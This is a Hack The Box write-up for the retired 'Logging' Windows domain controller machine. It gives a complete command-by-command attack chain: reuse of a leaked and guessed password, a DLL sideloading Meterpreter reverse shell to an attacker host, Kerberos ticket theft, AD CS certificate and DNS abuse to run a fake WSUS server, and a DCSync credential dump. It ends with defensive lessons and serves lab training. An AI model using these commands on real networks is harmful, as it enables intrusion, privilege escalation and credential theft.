root@thehacksparrow:~/writeups$ SYSTEM ONLINE
· log in sign up
← back to HackTheBox writeups
root@sparrow:~/writeups$ cat logging.md
// writeups

Logging

18 Apr 2026 · 13 min read
writeupshacktheboxwindowsMediumretired
Logging - maquina de Hack The Box

Executive summary — Logging is a Medium Active Directory box centred on WSUS spoofing. With initial credentials we enumerate a share that leaks, in a sync log, a service password that's already been rotated — the log itself reveals the yearly rotation pattern, letting us guess the current one. With Kerberos material we read the managed password of the gMSA msa_health$ (WinRM). From there, a monitoring binary with DLL sideloading over a ZIP in a path writable by the IT group gives execution as jaylee.clifton (user flag). That account can create DNS records; combined with a misconfigured AD CS template (UpdateSrv) that allows requesting a certificate for wsus.logging.htb, we set up a fake WSUS server the DC trusts as legitimate and uses to add msa_health$ to Domain Admins. From there, DCSync yields Administrator's hash.

PlatformHack The Box
Operating systemWindows — Domain Controller
Domainlogging.htb
DifficultyMedium
StatusRetired
Initial credentialswallace.everette / Welcome2026@
Target IP10.129.22.233

Attack map

[1] Enum SMB (wallace.everette:Welcome2026@) -- share Logs legible
        |
[2] IdentitySync_Trace_*.log filtra svc_recovery:Em3rg3ncyPa$$2025 -- YA ROTADA
      el propio log insinua el patron de rotacion anual -> Em3rg3ncyPa$$2026 funciona
        |
[3] TGT de svc_recovery -- material Kerberos suficiente para leer msDS-ManagedPassword
      de la gMSA msa_health$ -> hash NTLM -> WinRM en dc01.logging.htb
        |
[4] UpdateMonitor (ACL de escritura para el grupo IT) vigila
      C:\ProgramData\UpdateMonitor\Settings_Update.zip -> lo extrae -> carga
      settings_update.dll -> invoca PreUpdateCheck  (DLL SIDELOADING)
        |
[5] ZIP con una DLL maliciosa (msfvenom) -> Meterpreter como jaylee.clifton  ->  user.txt
        |
[6] Rubeus tgtdeleg -- TGT de jaylee.clifton; bloodyAD get writable -> CREATE_CHILD
      sobre la zona DNS del dominio
        |
[7] Certipy: plantilla UpdateSrv (ADCS) -> cert para wsus.logging.htb ->
      bloodyAD crea el A record DNS apuntando al atacante -> wsuks sirve un WSUS falso
      firmado con ese cert, forzando "Add-ADGroupMember Domain Admins msa_health$"
        |
[8] El DC hace polling de WSUS -> ejecuta el PSExec firmado -> msa_health$ es Domain Admin
      +-> secretsdump (DCSync) -> hash de Administrator -> psexec  ->  root.txt

1. Preparation and reconnaissance

echo "10.129.22.233 dc01.logging.htb logging.htb" | sudo tee -a /etc/hosts
sudo ntpdate dc01.logging.htb

Kerberos is very time-sensitive: without syncing the clock against the DC you get authentication and ticketing errors that are hard to diagnose.

nmap -sC -sV -Pn 10.129.22.233

Typical AD ports (53 DNS, 80 IIS, 88 Kerberos, 389/636 LDAP, 445 SMB, 5985 WinRM): a Windows/Active Directory environment confirmed.

2. SMB enumeration and credentials leaked in logs

nxc smb logging.htb -u 'wallace.everette' -p 'Welcome2026@' -M spider_plus

Readable shares: Logs, NETLOGON, SYSVOL. We download Logs's content:

smbclient //logging.htb/Logs \
  -U 'LOGGING/wallace.everette%Welcome2026@' \
  -c 'recurse ON; prompt OFF; mget *'

The most relevant one is an identity-sync log:

cat IdentitySync_Trace_20260219.log
LOGGING\svc_recovery
Em3rg3ncyPa$$2025

The log itself later shows subsequent LDAP errors indicating that password is no longer valid — a sign it was rotated. The pattern (password with the year embedded) suggests trying the updated variant:

getTGT.py 'LOGGING.HTB/svc_recovery:Em3rg3ncyPa$$2026'
[*] Saving ticket in svc_recovery.ccache
export KRB5CCNAME=svc_recovery.ccache
klist

3. Moving towards msa_health$ (gMSA)

With svc_recovery's Kerberos access we obtain the material needed to read msDS-ManagedPassword for the machine/gMSA account msa_health$, whose NTLM hash works directly over WinRM:

evil-winrm -i dc01.logging.htb -u 'msa_health$' -H 603fc24ee01a9409f83c9d1d701485c5
whoami
# logging\msa_health$

4. Enumeration from msa_health$ — discovering UpdateMonitor

dir C:\Users

An interesting user shows up: jaylee.clifton. Checking installed software:

icacls "C:\Program Files\UpdateMonitor"
icacls "C:\Program Files\UpdateMonitor\UpdateMonitor.exe"

The important hint: the logging\IT group has control over that software.

icacls "C:\ProgramData\UpdateMonitor"
type C:\ProgramData\UpdateMonitor\Logs\monitor.log -Tail 20

The binary's behaviour, deduced from reversing and the log, is: it watches C:\ProgramData\UpdateMonitor\Settings_Update.zip, extracts the ZIP to C:\Program Files\UpdateMonitor\bin\, loads settings_update.dll from there, and calls its PreUpdateCheck function.

5. Escalating to jaylee.clifton — DLL sideloading

We generate a malicious DLL and package it under the exact name UpdateMonitor loads:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ATTACKER_IP> LPORT=443 -f dll -o settings_update.dll
zip -j Settings_Update.zip settings_update.dll

The ZIP must contain only settings_update.dll — verify with unzip -l before uploading.

cd C:\ProgramData\UpdateMonitor
Remove-Item .\Settings_Update.zip -Force -ErrorAction SilentlyContinue
upload Settings_Update.zip
msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <ATTACKER_IP>
set LPORT 443
run

When the monitoring process handles the ZIP and loads the DLL, a Meterpreter session arrives as jaylee.clifton.

shell
type C:\Users\jaylee.clifton\Desktop\user.txt

6. Stealing jaylee.clifton's TGT and finding the DNS abuse

upload Rubeus.exe C:\ProgramData\Rubeus.exe
shell
cd C:\ProgramData
Rubeus.exe triage

triage confirms a cached TGT for jaylee.clifton exists in this session before attempting to extract it.

Instead of dumping LSASS (noisy and flagged by virtually every EDR), Rubeus.exe tgtdeleg abuses the Kerberos delegation mechanism itself via SSPI (a service request to itself) so the KDC is the one that hands back a complete, reusable TGT for the current user — never touching LSASS memory.

Rubeus.exe tgtdeleg /nowrap
echo -n 'FULL_BASE64' | base64 -d > jaylee.kirbi
ticketConverter.py jaylee.kirbi jaylee.ccache
export KRB5CCNAME=jaylee.ccache
klist
bloodyAD -H dc01.logging.htb -d logging.htb -u 'jaylee.clifton' -k get writable
DC=logging.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=logging,DC=htb
permission: CREATE_CHILD

jaylee.clifton can create DNS records in the domain zone — the missing piece to make a fake WSUS server believable.

7. Abusing AD CS to impersonate WSUS

certipy req \
  -u 'jaylee.clifton@logging.htb' -k \
  -target dc01.logging.htb -dc-ip 10.129.22.233 \
  -ca 'logging-DC01-CA' -template 'UpdateSrv' -dns 'wsus.logging.htb'

The UpdateSrv template allows requesting a certificate with an arbitrary SAN (-dns), including a hostname we don't own: wsus.logging.htb. That certificate is what makes a WSUS client trust our fake server.

certipy cert -pfx wsus.pfx -nokey -out wsus.crt
certipy cert -pfx wsus.pfx -nocert -out wsus.key
cat wsus.crt wsus.key > wsus.pem

We create the DNS record pointing that hostname at us, using the CREATE_CHILD right found earlier:

bloodyAD -H dc01.logging.htb -d logging.htb -u 'jaylee.clifton' -k \
  add dnsRecord wsus.logging.htb <ATTACKER_IP>
nslookup wsus.logging.htb 10.129.22.233
# Address: <ATTACKER_IP>
echo "<ATTACKER_IP> wsus.logging.htb" | sudo tee -a /etc/hosts

8. Malicious WSUS server and domain takeover

With wsuks we spin up a fake WSUS server, signed with the wsus.logging.htb certificate, that instructs the DC's WSUS client to add msa_health$ to Domain Admins via a signed PSExec64.exe:

wsuks --serve-only --WSUS-Server wsus.logging.htb --tls-cert wsus.pem -I tun0 \
  -c '/accepteula /s powershell.exe -ExecutionPolicy Bypass -Command "Add-ADGroupMember \
  -Identity \"Domain Admins\" -Members \"MSA_HEALTH$\""'

How the WSUS spoofing attack works: domain-joined WSUS clients trust the update server announced by GPO/DNS and run, as SYSTEM, whatever that server tells them to install. A fake WSUS server with a valid certificate for the expected hostname can push any signed executable — here, one that adds our controlled account to Domain Admins.

When the DC does its next WSUS polling cycle, the wsuks console shows the accepted requests and the binary's download/execution:

Received POST request: /ClientWebService/client.asmx ...
Received GET request: /.../PsExec64.exe
evil-winrm -i dc01.logging.htb -u 'msa_health$' -H 603fc24ee01a9409f83c9d1d701485c5
whoami /groups
# logging\Domain Admins

With msa_health$ now in Domain Admins, we dump the NTDS via DCSync — note the machine account's $ must be quoted so Bash doesn't interpret it as a variable:

secretsdump.py -hashes :603fc24ee01a9409f83c9d1d701485c5 'logging.htb/msa_health$@dc01.logging.htb'
Administrator:500:...:a0c1d1bed9126632f5f1f2b3f790bdb5
getTGT.py logging.htb/Administrator -hashes ':a0c1d1bed9126632f5f1f2b3f790bdb5'
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass 'LOGGING.HTB/Administrator@dc01.logging.htb'
whoami
# nt authority\system
type C:\Users\Administrator\Desktop\root.txt

Domain fully compromised. 🏴‍☠️

Attack chain summary

#Step
1SMB enumeration with initial credentials
2Stale credential in a log, year-rotated → current variant
3svc_recovery's TGT → gMSA msa_health$ NTLM hash → WinRM
4Discovering UpdateMonitor and its watched ZIP
5DLL sideloading → Meterpreter as jaylee.clifton → user.txt
6Rubeus tgtdeleg → CREATE_CHILD over the DNS zone
7AD CS UpdateSrv template → cert for wsus.logging.htb + DNS record
8Fake WSUS (wsuks) → msa_health$ to Domain Admins → DCSync → root.txt

Vulnerability summary

PhaseComponentVulnerabilityImpact
FootholdLogs shareCleartext service credential in a logKerberos starting point (svc_recovery)
LateralgMSA msa_health$Kerberos material sufficient to read msDS-ManagedPasswordWinRM on the DC
LateralUpdateMonitorDLL loaded from a path writable by the IT groupExecution as jaylee.clifton
PrivEscAD CS (UpdateSrv) + DNS CREATE_CHILDArbitrary-SAN certificate + self-created DNS recordWSUS impersonation
PrivEscWSUS spoofingThe DC runs as SYSTEM whatever a «valid» WSUS tells itDomain Admin

Lessons learned

  • Never leave credentials in logs, not even rotated ones: they reveal the rotation pattern, which is often guessable.
  • gMSA: tightly restrict who can read msDS-ManagedPassword — whoever can read it has the hash.
  • DLL sideloading: no application should load DLLs from paths writable by non-admin groups — validate signature and origin.
  • AD CS templates with a free SAN (UpdateSrv here) let you impersonate any internal TLS service; restrict which principals can request an arbitrary SAN.
  • WSUS spoofing: deploy WSUS only over HTTPS with the correct certificate pinned, and limit who can create DNS records in the internal zone — that's the piece that makes a fake server believable.